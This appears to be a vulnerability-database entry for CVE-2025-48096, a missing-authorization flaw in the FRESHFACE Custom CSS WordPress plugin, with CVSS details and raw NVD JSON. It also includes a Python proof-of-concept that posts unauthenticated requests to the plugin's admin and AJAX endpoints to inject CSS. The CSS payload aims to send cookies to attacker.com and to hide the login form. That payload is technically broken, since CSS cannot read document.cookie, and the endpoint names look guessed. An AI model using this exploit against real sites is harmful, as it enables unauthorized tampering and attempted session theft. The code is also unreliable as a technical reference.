Security Vulnerability Report
中文
CVE-2025-48096 CVSS 6.5 MEDIUM

CVE-2025-48096

Published: 2025-10-22 15:15:34
Last Modified: 2026-04-27 20:16:08

Description

Missing Authorization vulnerability in FRESHFACE Custom CSS custom-css-editor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Custom CSS: from n/a through <= 1.4.0.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

FRESHFACE Custom CSS (custom-css-editor) <= 1.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-48096 PoC - Custom CSS Plugin Broken Access Control # Vulnerability: Missing Authorization in FRESHFACE Custom CSS plugin (<= 1.4.0) # Attacker can modify custom CSS without authentication import requests # Target WordPress site URL target_url = "http://target-wordpress-site.com" # The vulnerable endpoint (custom-css-editor plugin) # The plugin fails to verify user capabilities before processing CSS update requests exploit_endpoint = f"{target_url}/wp-admin/admin.php?page=custom-css-editor" # Crafted payload to inject malicious CSS # This payload demonstrates arbitrary CSS modification without authentication malicious_css_payload = { "action": "save_custom_css", "custom_css": """ body { background: url('http://attacker.com/log?cookie=' + document.cookie); } .login-form { opacity: 0; pointer-events: none; } """, # Missing nonce and capability check allows unauthenticated access "submit": "Save Changes" } # Send exploit request without any authentication response = requests.post( exploit_endpoint, data=malicious_css_payload, headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } ) if response.status_code == 200 and "saved" in response.text.lower(): print("[+] Exploit successful! Custom CSS modified without authentication.") print(f"[+] Response: {response.text[:500]}") else: print(f"[-] Exploit may have failed. Status code: {response.status_code}") print(f"[-] Response: {response.text[:500]}") # Alternative: Direct AJAX endpoint exploitation ajax_endpoint = f"{target_url}/wp-admin/admin-ajax.php" ajax_payload = { "action": "custom_css_save", "css_content": "/* Malicious CSS injected via broken access control */", } response = requests.post(ajax_endpoint, data=ajax_payload) print(f"[*] AJAX endpoint response: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48096", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:34.333", "lastModified": "2026-04-27T20:16:07.507", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in FRESHFACE Custom CSS custom-css-editor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Custom CSS: from n/a through <= 1.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/custom-css-editor/vulnerability/wordpress-custom-css-plugin-1-4-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}